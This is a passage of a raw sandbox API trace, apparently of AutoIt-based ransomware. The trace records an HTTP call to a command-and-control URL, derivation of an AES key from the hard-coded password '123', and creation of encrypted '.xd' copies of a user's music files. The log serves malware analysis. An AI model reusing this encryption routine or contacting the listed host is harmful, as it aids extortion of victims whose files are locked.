(Locale=0x400, dwCmpFlags=0x1, lpString1="8V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.528] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.528] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.528] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.528] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.528] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.528] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.528] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.528] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.528] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.528] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.528] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0063.528] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.528] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.528] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.528] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.529] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.529] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.529] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.529] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.529] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.529] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.529] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.529] CloseHandle (hObject=0x0) returned 0 [0063.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.529] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.529] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.529] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.530] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.530] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.530] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.530] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.530] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.530] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.530] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.530] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.530] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.531] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.531] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.531] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab000) returned 1 [0063.532] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.532] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.532] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.532] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.532] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.532] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.532] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.532] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.532] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.537] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.537] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.538] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.538] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.538] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.538] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.538] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.538] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.538] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.538] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.538] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.538] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.538] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.538] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.538] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621570, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.538] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.538] CryptCreateHash (in: hProv=0x17ab000, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629710, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.539] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.539] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.539] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.539] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.539] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.540] CryptHashData (hHash=0x164c3f0, pbData=0x1629560, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.540] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.540] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.540] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.540] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217c8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.540] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.540] CryptDeriveKey (in: hProv=0x17ab000, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c9b0) returned 1 [0063.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.541] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.541] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.541] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.541] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.541] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0063.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.541] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.541] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.541] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.541] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.541] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\ic1 68v5evk.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.542] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.542] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.542] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i")) returned 0x10 [0063.542] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\ic1 68v5evk.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.543] PeekMessageW (in: 